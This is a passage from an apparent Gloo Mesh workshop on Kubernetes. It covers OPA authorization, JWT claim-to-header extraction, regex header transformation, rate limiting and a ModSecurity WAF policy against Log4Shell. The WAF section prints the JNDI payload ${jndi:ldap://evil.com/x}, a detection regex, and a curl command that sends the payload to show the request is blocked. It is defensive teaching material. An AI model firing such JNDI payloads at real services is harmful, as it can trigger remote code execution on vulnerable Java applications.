afterLogoutUrl: "https://${ENDPOINT_HTTPS_GW_CLUSTER1}/get"
session:
failOnFetchFailure: true
redis:
cookieName: keycloak-session
options:
host: redis:6379
scopes:
- email
headers:
idTokenHeader: jwt
- opaAuth:
modules:
- name: allow-solo-email-users
namespace: httpbin
query: "data.test.allow == true"
EOF
Refresh the web page. user1
shouldn't be allowed to access it anymore since the user's email ends with @example.com
.
If you open the browser in incognito and login using the username user2
and the password password
, you will now be able to access it since the user's email ends with @solo.io
.
This diagram shows the flow of the request (with the Istio ingress gateway leveraging the extauth
Pod to authorize the request):
In this step, we're going to validate the JWT token and to create a new header from the email
claim.
Keycloak is running outside of the Service Mesh, so we need to define an ExternalService
and its associated ExternalEndpoint
:
Let's start by the latter:
kubectl --context ${CLUSTER1} apply -f - <<EOF
apiVersion: networking.gloo.solo.io/v2
kind: ExternalEndpoint
metadata:
name: keycloak
namespace: httpbin
labels:
host: keycloak
spec:
address: ${HOST_KEYCLOAK}
ports:
- name: http
number: ${PORT_KEYCLOAK}
EOF
Then we can create the former:
kubectl --context ${CLUSTER1} apply -f - <<EOF
apiVersion: networking.gloo.solo.io/v2
kind: ExternalService
metadata:
name: keycloak
namespace: httpbin
labels:
expose: "true"
spec:
hosts:
- keycloak
ports:
- name: http
number: ${PORT_KEYCLOAK}
protocol: HTTP
selector:
host: keycloak
EOF
Now, we can create a JWTPolicy
to extract the claim.
Create the policy:
kubectl --context ${CLUSTER1} apply -f - <<EOF
apiVersion: security.policy.gloo.solo.io/v2
kind: JWTPolicy
metadata:
name: httpbin
namespace: httpbin
spec:
applyToRoutes:
- route:
labels:
oauth: "true"
config:
phase:
postAuthz:
priority: 1
providers:
keycloak:
issuer: ${KEYCLOAK_URL}/realms/master
tokenSource:
headers:
- name: jwt
remote:
url: ${KEYCLOAK_URL}/realms/master/protocol/openid-connect/certs
destinationRef:
kind: EXTERNAL_SERVICE
ref:
name: keycloak
port:
number: ${PORT_KEYCLOAK}
claimsToHeaders:
- claim: email
header: X-Email
EOF
You can see that it will be applied to our existing route and also that we want to execute it after performing the external authentication (to have access to the JWT token).
If you refresh the web page, you should see a new X-Email
header added to the request with the value [email protected]
In this step, we're going to use a regular expression to extract a part of an existing header and to create a new one:
Let's create a TransformationPolicy
to extract the claim.
kubectl --context ${CLUSTER1} apply -f - <<EOF
apiVersion: trafficcontrol.policy.gloo.solo.io/v2
kind: TransformationPolicy
metadata:
name: modify-header
namespace: httpbin
spec:
applyToRoutes:
- route:
labels:
oauth: "true"
config:
phase:
postAuthz:
priority: 2
request:
injaTemplate:
extractors:
organization:
header: 'X-Email'
regex: '.*@(.*)$'
subgroup: 1
headers:
x-organization:
text: "{{ organization }}"
EOF
You can see that it will be applied to our existing route and also that we want to execute it after performing the external authentication (to have access to the JWT token).
If you refresh the web page, you should see a new X-Organization
header added to the request with the value solo.io
In this step, we're going to apply rate limiting to the Gateway to only allow 3 requests per minute for the users of the solo.io
organization.
First, we need to create a RateLimitClientConfig
object to define the descriptors:
kubectl --context ${CLUSTER1} apply -f - <<EOF
apiVersion: trafficcontrol.policy.gloo.solo.io/v2
kind: RateLimitClientConfig
metadata:
name: httpbin
namespace: httpbin
spec:
raw:
rateLimits:
- setActions:
- requestHeaders:
descriptorKey: organization
headerName: X-Organization
EOF
Then, we need to create a RateLimitServerConfig
object to define the limits based on the descriptors:
kubectl --context ${CLUSTER1} apply -f - <<EOF
apiVersion: admin.gloo.solo.io/v2
kind: RateLimitServerConfig
metadata:
name: httpbin
namespace: httpbin
spec:
destinationServers:
- ref:
cluster: cluster1
name: rate-limiter
namespace: gloo-mesh-addons
port:
name: grpc
raw:
setDescriptors:
- simpleDescriptors:
- key: organization
value: solo.io
rateLimit:
requestsPerUnit: 3
unit: MINUTE
EOF
After that, we need to create a RateLimitPolicy
object to define the descriptors:
kubectl --context ${CLUSTER1} apply -f - <<EOF
apiVersion: trafficcontrol.policy.gloo.solo.io/v2
kind: RateLimitPolicy
metadata:
name: httpbin
namespace: httpbin
spec:
applyToRoutes:
- route:
labels:
ratelimited: "true"
config:
serverSettings:
name: rate-limit-server
namespace: httpbin
cluster: cluster1
ratelimitClientConfig:
name: httpbin
namespace: httpbin
cluster: cluster1
ratelimitServerConfig:
name: httpbin
namespace: httpbin
cluster: cluster1
phase:
postAuthz:
priority: 3
EOF
We also need to create a RateLimitServerSettings
, which is a CRD that define which extauth server to use:
kubectl --context ${CLUSTER1} apply -f - <<EOF
apiVersion: admin.gloo.solo.io/v2
kind: RateLimitServerSettings
metadata:
name: rate-limit-server
namespace: httpbin
spec:
destinationServer:
ref:
cluster: cluster1
name: rate-limiter
namespace: gloo-mesh-addons
port:
name: grpc
EOF
Finally, you need to update the RouteTable
to use this RateLimitPolicy
:
kubectl --context ${CLUSTER1} apply -f - <<EOF
apiVersion: networking.gloo.solo.io/v2
kind: RouteTable
metadata:
name: httpbin
namespace: httpbin
labels:
expose: "true"
spec:
http:
- name: httpbin
labels:
oauth: "true"
ratelimited: "true"
matchers:
- uri:
exact: /get
- uri:
prefix: /callback
forwardTo:
destinations:
- ref:
name: in-mesh
namespace: httpbin
port:
number: 8000
EOF
Refresh the web page multiple times.
You should get a 200
response code the first 3 time and a 429
response code after.
This diagram shows the flow of the request (with the Istio ingress gateway leveraging the rate limiter
Pod to determine if the request should be allowed):
Let's apply the original RouteTable
yaml:
kubectl --context ${CLUSTER1} apply -f - <<EOF
apiVersion: networking.gloo.solo.io/v2
kind: RouteTable
metadata:
name: httpbin
namespace: httpbin
labels:
expose: "true"
spec:
http:
- name: httpbin
matchers:
- uri:
exact: /get
forwardTo:
destinations:
- ref:
name: in-mesh
namespace: httpbin
port:
number: 8000
EOF
And also delete the different objects we've created:
kubectl --context ${CLUSTER1} -n httpbin delete ratelimitpolicy httpbin
kubectl --context ${CLUSTER1} -n httpbin delete ratelimitclientconfig httpbin
kubectl --context ${CLUSTER1} -n httpbin delete ratelimitserverconfig httpbin
kubectl --context ${CLUSTER1} -n httpbin delete ratelimitserversettings rate-limit-server
A web application firewall (WAF) protects web applications by monitoring, filtering, and blocking potentially harmful traffic and attacks that can overtake or exploit them.
Gloo Mesh includes the ability to enable the ModSecurity Web Application Firewall for any incoming and outgoing HTTP connections.
An example of how using Gloo Mesh we'd easily mitigate the recent Log4Shell vulnerability (CVE-2021-44228), which for many enterprises was a major ordeal that took weeks and months of updating all services.
The Log4Shell vulnerability impacted all Java applications that used the log4j library (common library used for logging) and that exposed an endpoint. You could exploit the vulnerability by simply making a request with a specific header. In the example below, we will show how to protect your services against the Log4Shell exploit.
Using the Web Application Firewall capabilities you can reject requests containing such headers.
Log4Shell attacks operate by passing in a Log4j expression that could trigger a lookup to a remote server, like a JNDI identity service. The malicious expression might look something like this: ${jndi:ldap://evil.com/x}
. It might be passed in to the service via a header, a request argument, or a request payload. What the attacker is counting on is that the vulnerable system will log that string using log4j without checking it. That’s what triggers the destructive JNDI lookup and the ultimate execution of malicious code.
Create the WAF policy:
kubectl --context ${CLUSTER1} apply -f - <<'EOF'
apiVersion: security.policy.gloo.solo.io/v2
kind: WAFPolicy
metadata:
name: log4shell
namespace: httpbin
spec:
applyToRoutes:
- route:
labels:
waf: "true"
config:
disableCoreRuleSet: true
customInterventionMessage: 'Log4Shell malicious payload'
customRuleSets:
- ruleStr: |
SecRuleEngine On
SecRequestBodyAccess On
SecRule REQUEST_LINE|ARGS|ARGS_NAMES|REQUEST_COOKIES|REQUEST_COOKIES_NAMES|REQUEST_BODY|REQUEST_HEADERS|XML:/*|XML://@*
"@rx \${jndi:(?:ldaps?|iiop|dns|rmi)://"
"id:1000,phase:2,deny,status:403,log,msg:'Potential Remote Command Execution: Log4j CVE-2021-44228'"
EOF
In this example, we're going to update the main RouteTable
to enforce this policy for all the applications exposed through the gateway (in any workspace).
kubectl --context ${CLUSTER1} apply -f - <<EOF
apiVersion: networking.gloo.solo.io/v2
kind: RouteTable
metadata:
name: main
namespace: istio-gateways
spec:
hosts:
- '*'
virtualGateways:
- name: north-south-gw
namespace: istio-gateways
cluster: cluster1
workloadSelectors: []
http:
- name: root
labels:
waf: "true"
matchers:
- uri:
prefix: /
delegate:
routeTables:
- labels:
expose: "true"
EOF
Run the following command to simulate an attack:
curl -H "User-Agent: \${jndi:ldap://evil.com/x}" -k "https://${ENDPOINT_HTTPS_GW_CLUSTER1}/get" -i
The request should be rejected:
HTTP/2 403
content-length: 27
content-type: text/plain
date: Tue, 05 Apr 2022 10:20:06 GMT
server: istio-envoy
Log4Shell malicious payload
Let's apply the original RouteTable
yaml:
kubectl --context ${CLUSTER1} apply -f - <<EOF
apiVersion: networking.gloo.solo.io/v2
kind: RouteTable
metadata:
name: main
namespace: istio-gateways
spec:
hosts:
- '*'
virtualGateways:
- name: north-south-gw
namespace: istio-gateways
cluster: cluster1
workloadSelectors: []
http:
- name: root
matchers:
- uri:
prefix: /
delegate:
routeTables:
- labels:
expose: "true"
EOF
And also delete the waf policy we've created:
kubectl --context ${CLUSTER1} -n httpbin delete wafpolicies.security.policy.gloo.solo.io log4shell